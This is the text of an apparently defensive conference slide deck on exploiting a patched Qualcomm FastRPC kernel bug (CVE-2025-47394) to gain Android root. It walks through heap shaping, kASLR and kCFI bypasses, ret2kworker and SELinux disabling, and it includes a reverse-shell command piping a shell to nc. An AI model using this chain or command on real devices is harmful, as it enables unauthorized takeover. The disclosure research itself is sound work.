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The vulnerabilities described herein (including CVE-2025-47394) have been fully remediated. Patches were delivered to the vendor and disclosed in the 
January 2026 Qualcomm Security Bulletin. This presentation is for educational and defensive research purposes only.



Android Red Team

Protect the Android ecosystem through 
offensive security.

Mission
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Android LPE to Root Attack Surfaces - Qualcomm
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What is FastRPC ?

FastRPC

Driver for the aDSP in the Android Kernel

aDSP = Audio/Application Digital Signal Processor

Low power, high performance DSP coprocessor 

Hexagon Architecture (Same as Qualcomm Modem and WiFi)

Exists in all modern Qualcomm SoCs

User Space Apps

Android Kernel
FastRPC Driver

aDSP
(Hexagon Architecture)

Coprocessor

RPC Calls



FastRPC & aDSP
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Previous Research

On the aDSP Hardware Side (Closed source)

Census-labs - Attacking-hexagon-recon 2019

CheckPoint - Pwn2Own Qualcomm DSP - 2021

On the FastRPC Driver Side (Open source)

From 2021 January to 2025 May, there are in total 16 CVEs

https://census-labs.com/media/attacking-hexagon-recon19.pdf
https://research.checkpoint.com/2021/pwn2own-qualcomm-dsp/


Project Zero - The Qualcomm DSP Driver - Unexpectedly Excavating an Exploit - 2025
Project Zero - Android In-The-Wild: Unexpectedly Excavating a Kernel Exploit

https://googleprojectzero.blogspot.com/2024/12/qualcomm-dsp-driver-unexpectedly-excavating-exploit.html
https://www.youtube.com/watch?v=lnK1iACJ3-c


FastRPC 2.0

In 2025, Qualcomm upgrade FastRPC driver to 2.0
- Simplified memory management



FastRPC 2.0 Issues
CVE Bulletin Date Description Credit

CVE-2025-47388 2026 January Memory corruption Conghui Wang
(Xiling Gong)

CVE-2025-47394 2026 January Memory corruption Xiling Gong

CVE-2025-47351 2025 October Integer overflow leading to memory corruption Conghui Wang
(Xiling Gong)

CVE-2025-47354 2025 October Memory corruption Qualcomm Internal

CVE-2025-27056 2025 July Use-after-free Qualcomm Internal

CVE-2025-21485 2025 June TOCTOU - Memory corruption Seth Jenkins
(Project Zero)

CVE-2025-21486 2025 June Accessing user memory outside uaccess routines Qualcomm Internal

https://docs.qualcomm.com/securitybulletin/january-2026-bulletin.html
https://git.codelinaro.org/clo/la/platform/vendor/qcom/opensource/dsp-kernel/-/commit/3caf9e1f6d156a7b8c5f44a60f382b1dd4b65416
https://git.codelinaro.org/clo/la/platform/vendor/qcom/opensource/dsp-kernel/-/commit/3a674559cd2e1ec5e04de8510d5bb3c60d8f9ad5
https://git.codelinaro.org/clo/la/platform/vendor/qcom/opensource/dsp-kernel/-/commit/02e6a6c3ed10e1519a2396f96d2fc3f6dc126396
https://git.codelinaro.org/clo/la/platform/vendor/qcom/opensource/dsp-kernel/-/commit/02243b99b2e8b44d2ee24268982a7227b9a5e224
https://git.codelinaro.org/clo/la/platform/vendor/qcom/opensource/dsp-kernel/-/commit/46d7ca7086b86eb5daa6befcbe732b4f29cbd94d
https://git.codelinaro.org/clo/la/platform/vendor/qcom/opensource/dsp-kernel/-/commit/c8038c62cca1d398c7afa25027d2bc6619dab268


FastRPC & aDSP
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Access FastRPC From Untrusted App
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FastRPC driver
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FastRPC Function

Core function : Support untrusted_app to run it’s own (unsigned) code in the aDSP userspace

1. Manage user process on aDSP  (IOCTL_INIT_CREATE)
2. Manage share memory between Android untrusted_app and aDSP user_app (IOCTL_MMAP)
3. Call remote function on aDSP user_app from untrusted_app with parameters (IOCTL_INVOKE)



Userspace Create Process In aDSP

  
Unprivileged app

EL0

EL1

FastRPC driver

/dev/fastrpc-cdsp

aDSP/cDSP

user_app

Kernel

IOCTL_INIT_CREATE

Invoke
Spawn



Userspace Share Memory With aDSP Process

  
Unprivileged app

EL0

EL1

FastRPC driver

/dev/fastrpc-cdsp

aDSP/cDSP

user_app

Kernel

IOCTL_MMAP

mmap

Shared Memory



Remote Function Invoke

  
Unprivileged app

EL0

EL1

FastRPC driver

/dev/fastrpc-cdsp

aDSP/cDSP

User_app
foo(p1, p2, p3)

Kernel

IOCTL_INVOKE (foo, p1, p2, p3…)

INVOKE

foo(p1, p2, p3…)

Shared Memory

Marshall parameters Unmarshall

foo(p1, p2, p3…)
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Vulnerability Description
CVE-2025-47394



CVE-2025-47394



Vulnerability: A Mismatch in Length



The two buffers should have the same size



Vulnerability Overview

Buffer Control & Offset
● Control offset to move destination backward
● Limited by DMA buffer size
● Only backward writes possible

Overwrite Capabilities
● Full control over content and length
● Support for both Read and Write 

operations

0x00000000 0xFFFFFFFF
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Exploit of CVE-2025-47394
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Exploit - Overall Roadmap

Shape 
Memory Layout kASLR Defeat Kernel 

Stack Overwrite
Arbitrary 

Read/Write

Step 1: Layout memory in vmalloc area

Step 2: Block victim thread



Step 0 - Where is the buffer?



Step 0 - Where the overflow buffer is?

dma_alloc_coherent



Step 1 - Shape vmalloc_area layout



Step 1 - Layout Memory In vmalloc_area 

vmalloc_area spray

FASTRPC_IOCTL_ALLOC_DMA_BUFF



Step 1 - Layout Memory In vmalloc_area 

Process/Thread spray
Each process/thread has a Kernel stack



Step 1 - Layout Memory In vmalloc_area 

Race Process/Thread spray
With Fastrpc buffer creation



Step 1 - Layout Memory In vmalloc_area 
dma_buffs

proccess_stack

proccess_stack

fastrpc_buf



Step 2 - Block Victim Thread
Freezing the Memory State: the carefully shaped memory (vmalloc_area) must remain static

dma_buffs

proccess_stack

fastrpc_buf

FIXED
KERNEL
STACK



Deterministic 
Environment



Step 2 - Block Victim Thread 
IOCTL_KGSL_DEVICE_WAITTIMESTAMP_CTXTID

Kernel Thread Block Hereint adreno_drawctxt_wait(struct adreno_device *adreno_dev, 



Step 2 - Block Victim Thread 

dma_buffs

proccess_stack

proccess_stack

fastrpc_buf

Other Local variables

X21
X22

X19
LR

Stack of adreno_drawctxt_wait

LR Stack of wait_event_interuptible_timeout

Kernel Thread Block Here

IOCTL_KGSL_DEVICE_WAITTIMESTAMP_CTXTID



Exploit - Overall Roadmap

Shape 
Memory Layout kASLR Defeat Kernel 

Stack Overwrite
Arbitrary 

Read/Write

Step 3: FastRPC buffer address leak

Step 4: Process stack leak
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static int fastrpc_get_args(u32 kernel, struct fastrpc_invoke_ctx *ctx) {

err = fastrpc_smmu_buf_alloc(ctx->fl, pkt_size, METADATA_BUF, &ctx->buf);
rpra = ctx->buf->virt;
args = (uintptr_t)ctx->buf->virt + metalen;

rpra[i].buf.pv = args - ctx->olaps[oix].offset;

}

static int fastrpc_put_args(struct fastrpc_invoke_ctx *ctx, u32 kernel) {

void *src = (void *)(uintptr_t)ctx->outbufs[j].buf.pv;
copy_to_user((void __user *)dst, src, len);

}

Step 3 - FastRPC Buffer Address Leak



Step 3 - FastRPC Buffer Address Leak 

proccess_stack

fastrpc_buf

Other Local variables

X21
X22

X19
LR

LR

offset into previous Context Buf

Placeholder Buf
Placeholder Buf

Context Buf
Evil Context Buf

copy_to_user

Get the address in the FastRPC Buf



static int fastrpc_get_args(u32 kernel, struct fastrpc_invoke_ctx *ctx) {

err = fastrpc_smmu_buf_alloc(ctx->fl, pkt_size, METADATA_BUF, &ctx->buf);
rpra = ctx->buf->virt;
args = (uintptr_t)ctx->buf->virt + metalen;

rpra[i].buf.pv = args - ctx->olaps[oix].offset;

}

static int fastrpc_put_args(struct fastrpc_invoke_ctx *ctx, u32 kernel) {

void *src = (void *)(uintptr_t)ctx->outbufs[j].buf.pv;
copy_to_user((void __user *)dst, src, len);

}

Step 4 - kASLR Defeat (Process Stack Leak) 



Step 4 - kASLR Defeat (Process Stack Leak) 

proccess_stack

fastrpc_buf

Other Local variables

X21
X22

X19
LR

LR

offset into Kernel Process Stack

Placeholder Buf
Placeholder Buf

Context Buf
Evil Context Buf

copy_to_user

Get the LR in the Kernel Process Stack



Exploit - Overall Roadmap
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Step 5: Payload Deploy

Step 6: Victim Thread Register Hijack
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Step 5 - Payload Deploy

static int fastrpc_get_args(u32 kernel, struct fastrpc_invoke_ctx *ctx) {

...

err = fastrpc_smmu_buf_alloc(ctx->fl, pkt_size, METADATA_BUF, &ctx->buf);
rpra = ctx->buf->virt;
args = (uintptr_t)ctx->buf->virt + metalen;

rpra[i].buf.pv = args - ctx->olaps[oix].offset;

...

void *dst = (void *)(uintptr_t)rpra[i].buf.pv;
void *src = (void *)(uintptr_t)ctx->args[i].ptr;

copy_from_user(dst, (void __user *)src, len);

}



Step 5 - Payload Deploy

proccess_stack

fastrpc_buf

Other Local variables

X21
X22

X19
LR

LR

offset into dma buffer

Placeholder Buf
Placeholder Buf

Context Buf
Evil Context Buf

copy_from_user

Dma_buffs
(payloads)



Step 5 - Payload In A Glance

proccess_stack

fastrpc_buf

offset into dma buffer

Placeholder Buf
Placeholder Buf

Context Buf
Evil Context Buf

copy_from_user

Dma_buffs
(payloads)

Fake Event

Fake Work 

Step 7 - kgsl_cancel_event

Step 8 - gen8_defer_hw_fence_work

Fake Waiting Queue Step 9 - KGSL wait_queue

Fake Work Step 12 - uvc_video_copy_data_work

Fake Work Step 10 - aio_poll_wake

Shellcode Step 11 - /system/bin/sh



Pause - Current Status

proccess_stack

fastrpc_buf

Other Local variables

X21
X22

X19
LR

LR

Placeholder Buf
Placeholder Buf

Context Buf
Evil Context Buf

Dma_buffs
(payloads)

● Stable memory layout
● kALSR information
● The payload in a known address
● We can overwrite the stack content

● Overwrite LR directly (PAC, DEP)
● Overwrite Function pointer directly (kCFI)



Step 6 - Victim Register Hijack (kCFI Workaround)

ret_temp = wait_event_interruptible_timeout(drawctxt->waiting,

_check_context_timestamp(device, context, timestamp),

msecs_to_jiffies(timeout));

if (ret_temp <= 0) {

kgsl_cancel_event(device, &context->events, timestamp,

wait_callback, (void *)drawctxt);

} X22X21



Step 6 - Victim Thread Register Hijack

proccess_stack

fastrpc_buf

Other Local variables

X21 device
X22 context->events

X19
LR

offset into Process Stack

Placeholder Buf
Placeholder Buf

Context Buf
Evil Context Buf

copy_from_user

Dma_buffs
(payloads)

kgsl_cancel_event(device,&context->events,



Exploit - Overall Roadmap

Shape 
Memory Layout kASLR Defeat Kernel 

Stack Overwrite
Arbitrary 

Read/Write

Step 7 - Kthread Queue Fake Worker
Step 8 - Fake Work
Step 9 - Wake Up Fake Waiting Queue
Step 10 - Schedule Fake Work
Step 11 - Arbitrary Read / Write
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Stage 7 - Kthread Queue Fake Worker



Stage 7 - Kthread Queue Fake Worker

proccess_stack

fastrpc_buf

Other Local variables

X21 device
X22 context->events

X19
LR

Placeholder Buf
Placeholder Buf

Context Buf
Evil Context Buf

Dma_buffs
(payloads)

kthread_queue_work(event_worker,work);



Step 8 - Inject Fake task_sturct? 

We have task_struct fully controlled!



Step 8 - Fake task_struct is too complicated…



Step 8 - Fake Work - Another Method



Step 8 - Fake Work - Another Method
kthread_queue_work will eventually call kthread_work_func_t func.
All functions with signature (*fn)(struct kthread_work *work) are potential targets (kCFI restriction).

grep -rn "struct kthread_work \*work"

./adreno_dispatch.c:2373: ... adreno_dispatcher_work(...)

./adreno_hwsched.c:1909: ... adreno_hwsched_work(...)

./adreno_gen8_hwsched_hfi.c:694: ... gen8_process_syncobj_query_work(...)

./adreno_gen8_hwsched_hfi.c:953: ... gen8_defer_hw_fence_work(...)

./kgsl_events.c:36: ... _kgsl_event_worker(...)

./adreno_gen7_hwsched_hfi.c:884: ... gen7_process_syncobj_query_work(...)

./adreno_gen7_hwsched_hfi.c:1144: ... gen7_defer_hw_fence_work(...)

...



Step 8 - Fake Work → gen8_defer_hw_fence_work

void gen8_defer_hw_fence_work(struct kthread_work *work)



Step 9 - Wake Up Fake Waiting Queue

static void gen8_defer_hw_fence_work(struct kthread_work *work) {
struct adreno_device *adreno_dev = &gen8_hwsched->gen8_dev.adreno_dev;

...
gen8_hwsched_active_count_put(adreno_dev);

}

void gen8_hwsched_active_count_put(struct adreno_device *adreno_dev) {
...
wake_up(&device->active_cnt_wq);

}

static int __wake_up_common(struct wait_queue_head *wq_head, unsigned int mode,
int nr_exclusive, int wake_flags, void *key){

...
curr = list_first_entry(&wq_head->head, wait_queue_entry_t, entry);
...
ret = curr->func(curr, mode, wake_flags, key);

}



Step 10 - Schedule Fake Work



Step 11 - ret2kworker

/system/bin/sh -c …

Ref: The Android kernel mitigations obstacle race

https://github.blog/security/vulnerability-research/the-android-kernel-mitigations-obstacle-race/#running-arbitrary-root-commands-using-ret2kworkertm


Step 11 - ret2kworker

User Mode Thread is created
But the command /system/bin/sh -c is not executed

Blocked by SELinux!

ret2kworker not Working 🤕



Step 10 - Schedule Fake Work



Step 12 - Full Arbitrary Write/Read



Final Step - Disable SELinux and ret2kworker Again

Disable SELinux with Arbitrary Write

And do ret2kworker again

/system/bin/sh -i 2>&1 | nc ***.***.***.*** 9999 

Demonstration code and shell commands are provided solely to illustrate kernel protection mechanisms and mitigation bypasses. 
They are not intended for use in unauthorized environments.



Exploit - Summarize
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Demo



https://docs.google.com/file/d/1V1Pxca1vQeVSokg45DL9uPWs8B6ExG2y/preview?resourcekey=0-myZmHYZ5BS1KiLYaWarkxA


Next Steps

1. LPE Root Attack Surfaces Review
2. FastRPC Hardware to Kernel Attack Surface 



Summary & Conclusions
FastRPC Vulnerability
The history and issues we exploit confirm FastRPC as a 
critical Root attack surface on Qualcomm SoCs.

Exploit Reliability
Strategic memory shaping successfully converted a 
vmalloc_area overflow into a deterministic Stack 
overflow.

Mitigation Impact
Defenses like kASLR and kCFI increase exploit complexity but were bypassed in this specific research chain.
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Questions? Read our blogs!


